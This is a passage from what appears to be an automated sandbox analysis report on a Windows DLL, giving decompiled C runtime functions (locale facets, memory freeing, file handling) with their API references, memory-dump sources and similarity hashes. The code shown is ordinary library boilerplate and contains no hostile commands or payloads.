0x6e17b1b8
0x6e17b1bb
0x6e17b228
0x6e17b229
0x6e17b22f
0x6e17b231
0x6e17b27a
0x6e17b27d
0x6e17b286
0x6e17b289
0x6e17b28c
0x6e17b28e
0x6e17b28e
0x6e17b28e
0x6e17b27f
0x6e17b282
0x6e17b282
0x6e17b293
0x6e17b296
0x6e17b2a2
0x6e17b2a7
0x6e17b2b3
0x6e17b2bd
0x6e17b2c1
0x6e17b2cb
0x6e17b2ce
0x6e17b2d9
0x6e17b2de
0x6e17b2ee
0x6e17b2f1
0x6e17b2f5
0x6e17b2f6
0x6e17b2fc
0x6e17b301
0x6e17b304
0x6e17b306
0x6e17b308
0x6e17b30d
0x6e17b310
0x6e17b312
0x6e17b33c
0x6e17b360
0x6e17b364
0x6e17b368
0x6e17b36a
0x6e17b36e
0x6e17b370
0x6e17b37a
0x6e17b37d
0x6e17b384
0x6e17b384
0x6e17b384
0x6e17b384
0x6e17b36e
0x6e17b389
0x6e17b395
0x6e17b397
0x6e17b422
0x6e17b422
0x00000000
0x6e17b39d
0x6e17b39d
0x6e17b3a1
0x00000000
0x00000000
0x6e17b3a6
0x6e17b3b8
0x6e17b3c0
0x6e17b3c3
0x6e17b3c4
0x6e17b3c7
0x6e17b3ce
0x6e17b3d3
0x6e17b3d6
0x6e17b40a
0x6e17b414
0x6e17b414
0x6e17b41e
0x00000000
0x6e17b41e
0x6e17b3df
0x6e17b3f8
0x6e17b3ff
0x6e17b222
0x00000000
0x6e17b222
0x6e17b397
0x6e17b314
0x00000000
0x6e17b2e0
0x6e17b2e7
0x6e17b2ea
0x6e17b2ec
0x6e17b316
0x6e17b318
0x00000000
0x6e17b31e
0x00000000
0x6e17b2ec
0x6e17b2de
0x6e17b239
0x6e17b23c
0x6e17b257
0x6e17b25c
0x6e17b262
0x6e17b264
0x6e17b26f
0x6e17b26f
0x00000000
0x6e17b264
0x6e17b1bd
0x6e17b1c4
0x6e17b1c6
0x6e17b1fd
0x6e17b1fd
0x6e17b207
0x6e17b20a
0x6e17b211
0x6e17b211
0x6e17b211
0x6e17b21d
0x00000000
0x6e17b21d
0x6e17b1c8
0x6e17b1cc
0x00000000
0x00000000
0x6e17b1ce
0x6e17b1dd
0x6e17b1e2
0x6e17b1e5
0x6e17b1e6
0x6e17b1e9
0x6e17b1e9
0x6e17b1f0
0x6e17b1f2
0x6e17b1f5
0x6e17b1f8
0x6e17b1fb
0x00000000
0x00000000
0x00000000
0x6e17b15b
0x6e17b160
0x6e17b163
0x6e17b16a
0x00000000
0x6e17b16a
0x6e17b134
0x6e17b139
0x6e17b13f
0x6e17b141
0x00000000
0x6e17b146

APIs

Part of subcall function 6E17ADC5: CreateFileW.KERNEL32(00000000,00000000,?,6E17B1AB,?,?,00000000,?,6E17B1AB,00000000,0000000C), ref: 6E17ADE2

GetLastError.KERNEL32 ref: 6E17B216
__dosmaperr.LIBCMT ref: 6E17B21D
GetFileType.KERNEL32(00000000), ref: 6E17B229
GetLastError.KERNEL32 ref: 6E17B233
__dosmaperr.LIBCMT ref: 6E17B23C
CloseHandle.KERNEL32(00000000), ref: 6E17B25C
CloseHandle.KERNEL32(?), ref: 6E17B3A6
GetLastError.KERNEL32 ref: 6E17B3D8
__dosmaperr.LIBCMT ref: 6E17B3DF

Strings

H, xrefs: 6E17B364

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 8e7cfe18eca9c4154cdd5260f0e4610fd7550cddc9bc8d9c9bf0808fe2bf3847
Instruction ID: f08ed594b6eb8c5f5a77a8c03d7a164e98bd8409ec21faaaf4baf9d513c4a5a0
Opcode Fuzzy Hash: 8e7cfe18eca9c4154cdd5260f0e4610fd7550cddc9bc8d9c9bf0808fe2bf3847
Instruction Fuzzy Hash: 31A15A32A141448FCF29CFA8D855BEE7BB6EB07324F24014DE811DB398CB319896EB51

Uniqueness

Uniqueness Score: -1.00%

Function 6E172171, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6E172171(void* __eflags) {
				void* _t55;
				intOrPtr* _t62;
				void* _t69;
				signed int _t70;
				signed int _t71;
				intOrPtr* _t72;
				void* _t74;

				_push(0x14);
				E6E174493();
				E6E1717C2(_t74 - 0x14, 0);
				_t71 =  *0x6e252e54; // 0x0
				 *(_t74 - 4) =  *(_t74 - 4) & 0x00000000;
				 *(_t74 - 0x10) = _t71;
				_t70 = E6E16E8D0( *((intOrPtr*)(_t74 + 8)), E6E16B050(0x6e252e48));
				if(_t70 != 0) {
					L5:
					E6E17181A(_t74 - 0x14);
					E6E17446D();
					return _t70;
				} else {
					if(_t71 == 0) {
						_push( *((intOrPtr*)(_t74 + 8)));
						_push(_t74 - 0x10);
						__eflags = E6E172651(_t69, _t71) - 0xffffffff;
						if(__eflags == 0) {
							_t62 = _t74 - 0x20;
							E6E16A1E0(_t62);
							E6E1759BC(_t74 - 0x20, 0x6e1b8e6c);
							asm("int3");
							_push(8);
							E6E174493();
							_t72 = _t62;
							 *((intOrPtr*)(_t74 - 0x14)) = _t72;
							 *(_t74 - 0x10) =  *(_t74 - 0x10) & 0x00000000;
							__eflags =  *(_t74 + 0x10);
							if( *(_t74 + 0x10) != 0) {
								 *_t72 = 0x6e1ab3c4;
								 *((intOrPtr*)(_t72 + 8)) = 0x6e1ab3b8;
								_t20 = _t74 - 4;
								 *_t20 =  *(_t74 - 4) & 0x00000000;
								__eflags =  *_t20;
								 *(_t74 - 0x10) = 1;
							}
							 *((intOrPtr*)(_t72 +  *((intOrPtr*)( *_t72 + 4)))) = 0x6e1ab3c0;
							_t28 =  *((intOrPtr*)( *_t72 + 4)) - 8; // -8
							 *((intOrPtr*)( *((intOrPtr*)( *_t72 + 4)) + _t72 - 4)) = _t28;
							__eflags =  *((intOrPtr*)( *_t72 + 4)) + _t72;
							E6E1729AC(_t55,  *((intOrPtr*)( *_t72 + 4)) + _t72, _t69, _t70,  *((intOrPtr*)( *_t72 + 4)) + _t72,  *((intOrPtr*)(_t74 + 8)),  *((intOrPtr*)(_t74 + 0xc)));
							E6E17446D();
							return _t72;
						} else {
							_t70 =  *(_t74 - 0x10);
							 *(_t74 - 0x10) = _t70;
							 *(_t74 - 4) = 1;
							E6E171E08(__eflags, _t70);
							 *0x6e1911c4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t70 + 4))))();
							 *0x6e252e54 = _t70;
							goto L5;
						}
					} else {
						_t70 = _t71;
						goto L5;
					}
				}
			}

0x6e172171
0x6e172178
0x6e172182
0x6e172187
0x6e172192
0x6e172196
0x6e1721a7
0x6e1721ab
0x6e1721f0
0x6e1721f3
0x6e1721fa
0x6e1721ff
0x6e1721ad
0x6e1721af
0x6e1721b5
0x6e1721bb
0x6e1721c3
0x6e1721c6
0x6e172200
0x6e172203
0x6e172211
0x6e172216
0x6e172217
0x6e17221e
0x6e172223
0x6e172225
0x6e172228
0x6e17222c
0x6e172230
0x6e172232
0x6e172238
0x6e17223f
0x6e17223f
0x6e17223f
0x6e172243
0x6e172243
0x6e172255
0x6e172261
0x6e172264
0x6e17226d
0x6e17226f
0x6e172276
0x6e17227b
0x6e1721c8
0x6e1721c8
0x6e1721cb
0x6e1721cf
0x6e1721d3
0x6e1721e0
0x6e1721e8
0x6e1721ea
0x00000000
0x6e1721ea
0x6e1721b1
0x6e1721b1
0x00000000
0x6e1721b1
0x6e1721af

APIs

__EH_prolog3.LIBCMT ref: 6E172178
std::_Lockit::_Lockit.LIBCPMT ref: 6E172182
int.LIBCPMTD ref: 6E172199

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

codecvt.LIBCPMT ref: 6E1721BC
std::_Facet_Register.LIBCPMT ref: 6E1721D3
std::_Lockit::~_Lockit.LIBCPMT ref: 6E1721F3
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E172203
__CxxThrowException@8.LIBVCRUNTIME ref: 6E172211

Strings

H.%n, xrefs: 6E17218D

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_alloc::bad_alloc
String ID: H.%n
API String ID: 3310255495-265181340
Opcode ID: 98a0667ced2087eed9b4eea1ee9551424780c32244815f2d5d6b142948430473
Instruction ID: 14db8ee10be3e26e01c0b2ec4a6dd664b301275f914918c83210e01153a66df7
Opcode Fuzzy Hash: 98a0667ced2087eed9b4eea1ee9551424780c32244815f2d5d6b142948430473
Instruction Fuzzy Hash: 2911A3B29001199BCF15DBE0C914AED77B9BF54B14F240809E411AB290DF74AE86F791

Uniqueness

Uniqueness Score: -1.00%

Function 6E17F8E6, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E17F8E6(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x6e1af5b0) {
					E6E17FBB2(_t52);
					_t26 = _a4;
				}
				E6E17FBB2( *((intOrPtr*)(_t26 + 0x3c)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x30)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x34)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x38)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x28)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x2c)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x40)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x44)));
				E6E17FBB2( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E6E17F7AC(5,  &_v8);
				_v8 =  &_a4;
				return E6E17F7FC(4,  &_v8);
			}

0x6e17f8ec
0x6e17f8ef
0x6e17f8f7
0x6e17f8fa
0x6e17f8ff
0x6e17f902
0x6e17f906
0x6e17f911
0x6e17f91c
0x6e17f927
0x6e17f932
0x6e17f93d
0x6e17f948
0x6e17f953
0x6e17f961
0x6e17f969
0x6e17f972
0x6e17f97a
0x6e17f98e

APIs

_free.LIBCMT ref: 6E17F8FA

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E17F906
_free.LIBCMT ref: 6E17F911
_free.LIBCMT ref: 6E17F91C
_free.LIBCMT ref: 6E17F927
_free.LIBCMT ref: 6E17F932
_free.LIBCMT ref: 6E17F93D
_free.LIBCMT ref: 6E17F948
_free.LIBCMT ref: 6E17F953
_free.LIBCMT ref: 6E17F961

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 89f008127e82b2031389c3aeb4aca4bda2c4fb76dbe88975ba684936c26aec4e
Instruction ID: c8ba82d488e34c2d064097ecbd3332a60c43bb18883b9ec71528b5b2f31161bc
Opcode Fuzzy Hash: 89f008127e82b2031389c3aeb4aca4bda2c4fb76dbe88975ba684936c26aec4e
Instruction Fuzzy Hash: E111937650014CBFCF22DF94C850CDA3FB9FF08654B2144A1FAA88B221DB31DAD0AB80

Uniqueness

Uniqueness Score: -1.00%

Function 6E169750, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E169750(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				char _v16;
				void* _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				char _v56;
				signed int _t39;
				char _t43;
				void* _t50;
				void* _t77;
				signed int _t85;

				_push(0xffffffff);
				_push(E6E18FAE0);
				_push( *[fs:0x0]);
				_t39 =  *0x6e1bb164; // 0x55e3ddbb
				_push(_t39 ^ _t85);
				 *[fs:0x0] =  &_v16;
				E6E1717C2( &_v40, 0);
				_v8 = 0;
				_t43 =  *0x6e252c80; // 0x29291b8
				_v20 = _t43;
				_v36 = E6E16B050(0x6e252d78);
				_v28 = E6E16E8D0(_a4, _v36);
				if(_v28 == 0) {
					if(_v20 == 0) {
						_t50 = E6E16E560(__ebx, _t77, __edi, __esi,  &_v20, _a4);
						__eflags = _t50 - 0xffffffff;
						if(_t50 != 0xffffffff) {
							_v24 = _v20;
							E6E168AE0(_v24);
							_v8 = 1;
							E6E171E08(__eflags, _v24);
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 4))))();
							 *0x6e252c80 = _v20;
							_v28 = _v20;
							E6E1713F0( &_v32);
							_v8 = 0;
							E6E16A830( &_v32);
						} else {
							E6E16A1E0( &_v56);
							E6E1759BC( &_v56, 0x6e1b8e6c);
						}
					} else {
						_v28 = _v20;
					}
				}
				_v44 = _v28;
				_v8 = 0xffffffff;
				E6E17181A( &_v40);
				 *[fs:0x0] = _v16;
				return _v44;
			}

0x6e169753
0x6e169755
0x6e169760
0x6e169764
0x6e16976b
0x6e16976f
0x6e16977a
0x6e16977f
0x6e169786
0x6e16978b
0x6e169798
0x6e1697a7
0x6e1697ae
0x6e1697b8
0x6e1697ca
0x6e1697d2
0x6e1697d5
0x6e1697f2
0x6e1697fc
0x6e169801
0x6e169809
0x6e16981c
0x6e169821
0x6e16982a
0x6e169830
0x6e169835
0x6e16983c
0x6e1697d7
0x6e1697da
0x6e1697e8
0x6e1697e8
0x6e1697ba
0x6e1697bd
0x6e1697bd
0x6e1697b8
0x6e169844
0x6e169847
0x6e169851
0x6e16985c
0x6e169867

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E16977A
int.LIBCPMTD ref: 6E169793

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

ctype.LIBCPMTD ref: 6E1697CA
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E1697DA
__CxxThrowException@8.LIBVCRUNTIME ref: 6E1697E8
std::_Lockit::~_Lockit.LIBCPMT ref: 6E169851

Strings

x-%n, xrefs: 6E16978E

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Throwctypestd::bad_alloc::bad_alloc
String ID: x-%n
API String ID: 1618461562-4255325796
Opcode ID: 6cd1cf6ff8831c1e4772894a1488b6d622bc725aa6bf8998222c83d29de1ff0c
Instruction ID: e6d5652f02d4bfd21c6c8527b330ed36e0109482a3f3e8a9f4dba81a0e108d23
Opcode Fuzzy Hash: 6cd1cf6ff8831c1e4772894a1488b6d622bc725aa6bf8998222c83d29de1ff0c
Instruction Fuzzy Hash: 6031E9B5D00209DFCB04CFD4D991AEEBBB9BF59714F204A19E411A7280DB346A94DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E169870, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E169870(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				char _v16;
				void* _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				char _v56;
				signed int _t39;
				char _t43;
				void* _t50;
				void* _t77;
				signed int _t85;

				_push(0xffffffff);
				_push(E6E18FAE0);
				_push( *[fs:0x0]);
				_t39 =  *0x6e1bb164; // 0x55e3ddbb
				_push(_t39 ^ _t85);
				 *[fs:0x0] =  &_v16;
				E6E1717C2( &_v40, 0);
				_v8 = 0;
				_t43 =  *0x6e252c90; // 0x0
				_v20 = _t43;
				_v36 = E6E16B050(0x6e252c78);
				_v28 = E6E16E8D0(_a4, _v36);
				if(_v28 == 0) {
					if(_v20 == 0) {
						_t50 = E6E16E650(__ebx, _t77, __edi, __esi,  &_v20, _a4);
						__eflags = _t50 - 0xffffffff;
						if(_t50 != 0xffffffff) {
							_v24 = _v20;
							E6E168AE0(_v24);
							_v8 = 1;
							E6E171E08(__eflags, _v24);
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 4))))();
							 *0x6e252c90 = _v20;
							_v28 = _v20;
							E6E1713F0( &_v32);
							_v8 = 0;
							E6E16A830( &_v32);
						} else {
							E6E16A1E0( &_v56);
							E6E1759BC( &_v56, 0x6e1b8e6c);
						}
					} else {
						_v28 = _v20;
					}
				}
				_v44 = _v28;
				_v8 = 0xffffffff;
				E6E17181A( &_v40);
				 *[fs:0x0] = _v16;
				return _v44;
			}

0x6e169873
0x6e169875
0x6e169880
0x6e169884
0x6e16988b
0x6e16988f
0x6e16989a
0x6e16989f
0x6e1698a6
0x6e1698ab
0x6e1698b8
0x6e1698c7
0x6e1698ce
0x6e1698d8
0x6e1698ea
0x6e1698f2
0x6e1698f5
0x6e169912
0x6e16991c
0x6e169921
0x6e169929
0x6e16993c
0x6e169941
0x6e16994a
0x6e169950
0x6e169955
0x6e16995c
0x6e1698f7
0x6e1698fa
0x6e169908
0x6e169908
0x6e1698da
0x6e1698dd
0x6e1698dd
0x6e1698d8
0x6e169964
0x6e169967
0x6e169971
0x6e16997c
0x6e169987

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E16989A
int.LIBCPMTD ref: 6E1698B3

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

messages.LIBCPMTD ref: 6E1698EA
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E1698FA
__CxxThrowException@8.LIBVCRUNTIME ref: 6E169908
std::_Lockit::~_Lockit.LIBCPMT ref: 6E169971

Strings

x,%n, xrefs: 6E1698AE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Throwmessagesstd::bad_alloc::bad_alloc
String ID: x,%n
API String ID: 2603189070-4234245203
Opcode ID: f616f2e146390a82370c45e09c8bacb1cad0c4cb55ef5b93cfdc8eac90f8332a
Instruction ID: 5eeded23aabbd131b8d868d36e864d2877ea2670cc49f3ec820a012a9c5362a9
Opcode Fuzzy Hash: f616f2e146390a82370c45e09c8bacb1cad0c4cb55ef5b93cfdc8eac90f8332a
Instruction Fuzzy Hash: 45311BB5D04209DFCB04CFD4C991BEEB7B9FB49714F204A19E426A7380DB346A84DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E169990, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E169990(void* __edi, void* __eflags, intOrPtr _a4) {
				char _v8;
				char _v16;
				void* _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				char _v56;
				signed int _t39;
				char _t43;
				void* _t50;
				void* _t61;
				void* _t77;
				void* _t84;
				signed int _t85;

				_push(0xffffffff);
				_push(E6E18FAE0);
				_push( *[fs:0x0]);
				_t39 =  *0x6e1bb164; // 0x55e3ddbb
				_push(_t39 ^ _t85);
				 *[fs:0x0] =  &_v16;
				E6E1717C2( &_v40, 0);
				_v8 = 0;
				_t43 =  *0x6e252c94; // 0x0
				_v20 = _t43;
				_v36 = E6E16B050(0x6e252c7c);
				_v28 = E6E16E8D0(_a4, _v36);
				if(_v28 == 0) {
					if(_v20 == 0) {
						_t50 = E6E16E740(_t61, _t77, __edi, _t84,  &_v20, _a4);
						__eflags = _t50 - 0xffffffff;
						if(_t50 != 0xffffffff) {
							_v24 = _v20;
							E6E168AE0(_v24);
							_v8 = 1;
							E6E171E08(__eflags, _v24);
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 4))))();
							 *0x6e252c94 = _v20;
							_v28 = _v20;
							E6E1713F0( &_v32);
							_v8 = 0;
							E6E16A830( &_v32);
						} else {
							E6E16A1E0( &_v56);
							E6E1759BC( &_v56, 0x6e1b8e6c);
						}
					} else {
						_v28 = _v20;
					}
				}
				_v44 = _v28;
				_v8 = 0xffffffff;
				E6E17181A( &_v40);
				 *[fs:0x0] = _v16;
				return _v44;
			}

0x6e169993
0x6e169995
0x6e1699a0
0x6e1699a4
0x6e1699ab
0x6e1699af
0x6e1699ba
0x6e1699bf
0x6e1699c6
0x6e1699cb
0x6e1699d8
0x6e1699e7
0x6e1699ee
0x6e1699f8
0x6e169a0a
0x6e169a12
0x6e169a15
0x6e169a32
0x6e169a3c
0x6e169a41
0x6e169a49
0x6e169a5c
0x6e169a61
0x6e169a6a
0x6e169a70
0x6e169a75
0x6e169a7c
0x6e169a17
0x6e169a1a
0x6e169a28
0x6e169a28
0x6e1699fa
0x6e1699fd
0x6e1699fd
0x6e1699f8
0x6e169a84
0x6e169a87
0x6e169a91
0x6e169a9c
0x6e169aa7

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E1699BA
int.LIBCPMTD ref: 6E1699D3

Part of subcall function 6E16B050: std::_Lockit::_Lockit.LIBCPMT ref: 6E16B066
Part of subcall function 6E16B050: std::_Lockit::~_Lockit.LIBCPMT ref: 6E16B090

numpunct.LIBCPMTD ref: 6E169A0A
std::bad_alloc::bad_alloc.LIBCMTD ref: 6E169A1A
__CxxThrowException@8.LIBVCRUNTIME ref: 6E169A28
std::_Lockit::~_Lockit.LIBCPMT ref: 6E169A91

Strings

|,%n, xrefs: 6E1699CE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Thrownumpunctstd::bad_alloc::bad_alloc
String ID: |,%n
API String ID: 2683378708-1929634564
Opcode ID: 67de8c884186b56a48ec31904be97720cec673a40b4680cfa2906c7b03328ceb
Instruction ID: 858fc80d892deeabac2f55d8288ee82b91cec152738a2b9157a57261efee06a3
Opcode Fuzzy Hash: 67de8c884186b56a48ec31904be97720cec673a40b4680cfa2906c7b03328ceb
Instruction Fuzzy Hash: D3311BB5D00209DFCB04CFE4D991BEEB7B9FB58314F204A59E425A7380DB346A84DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E18538F, Relevance: 13.8, APIs: 9, Instructions: 300
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6E18538F(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				char _v6;
				void* _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				long _v36;
				void* _v40;
				long _v44;
				signed int* _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t153;
				signed int _t155;
				signed char _t157;
				unsigned int _t158;
				intOrPtr _t162;
				void* _t163;
				signed int _t164;
				signed int _t167;
				long _t168;
				intOrPtr _t175;
				signed int _t176;
				intOrPtr _t178;
				signed int _t180;
				signed int _t184;
				char _t191;
				char* _t192;
				char _t199;
				char* _t200;
				signed char _t211;
				signed int _t213;
				long _t215;
				signed int _t216;
				char _t218;
				signed char _t222;
				signed int _t223;
				unsigned int _t224;
				intOrPtr _t225;
				unsigned int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed char _t236;
				signed int _t237;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t246;
				void* _t248;
				void* _t249;

				_t213 = _a4;
				if(_t213 != 0xfffffffe) {
					__eflags = _t213;
					if(_t213 < 0) {
						L58:
						_t143 = E6E17BB6B();
						 *_t143 =  *_t143 & 0x00000000;
						__eflags =  *_t143;
						 *((intOrPtr*)(E6E17BB7E())) = 9;
						L59:
						_t145 = E6E178929();
						goto L60;
					}
					__eflags = _t213 -  *0x6e2538b0; // 0x40
					if(__eflags >= 0) {
						goto L58;
					}
					_v24 = 1;
					_t239 = _t213 >> 6;
					_t235 = (_t213 & 0x0000003f) * 0x30;
					_v20 = _t239;
					_t149 =  *((intOrPtr*)(0x6e2536b0 + _t239 * 4));
					_v28 = _t235;
					_t222 =  *((intOrPtr*)(_t235 + _t149 + 0x28));
					_v5 = _t222;
					__eflags = _t222 & 0x00000001;
					if((_t222 & 0x00000001) == 0) {
						goto L58;
					}
					_t223 = _a12;
					__eflags = _t223 - 0x7fffffff;
					if(_t223 <= 0x7fffffff) {
						__eflags = _t223;
						if(_t223 == 0) {
							L57:
							return 0;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L57;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t153 =  *((intOrPtr*)(_t235 + _t149 + 0x29));
						_v5 = _t153;
						_v32 =  *((intOrPtr*)(_t235 + _t149 + 0x18));
						_t246 = 0;
						_t155 = _t153 - 1;
						__eflags = _t155;
						if(_t155 == 0) {
							_t236 = _v24;
							_t157 =  !_t223;
							__eflags = _t236 & _t157;
							if((_t236 & _t157) != 0) {
								_t158 = 4;
								_t224 = _t223 >> 1;
								_v16 = _t158;
								__eflags = _t224 - _t158;
								if(_t224 >= _t158) {
									_t158 = _t224;
									_v16 = _t224;
								}
								_t246 = E6E17FBEC(_t224, _t158);
								E6E17FBB2(0);
								E6E17FBB2(0);
								_t249 = _t248 + 0xc;
								_v12 = _t246;
								__eflags = _t246;
								if(_t246 != 0) {
									_t162 = E6E1858E2(_t213, 0, 0, _v24);
									_t225 =  *((intOrPtr*)(0x6e2536b0 + _t239 * 4));
									_t248 = _t249 + 0x10;
									_t240 = _v28;
									 *((intOrPtr*)(_t240 + _t225 + 0x20)) = _t162;
									_t163 = _t246;
									 *(_t240 + _t225 + 0x24) = _t236;
									_t235 = _t240;
									_t223 = _v16;
									L21:
									_t241 = 0;
									_v40 = _t163;
									_t215 =  *((intOrPtr*)(0x6e2536b0 + _v20 * 4));
									_v36 = _t215;
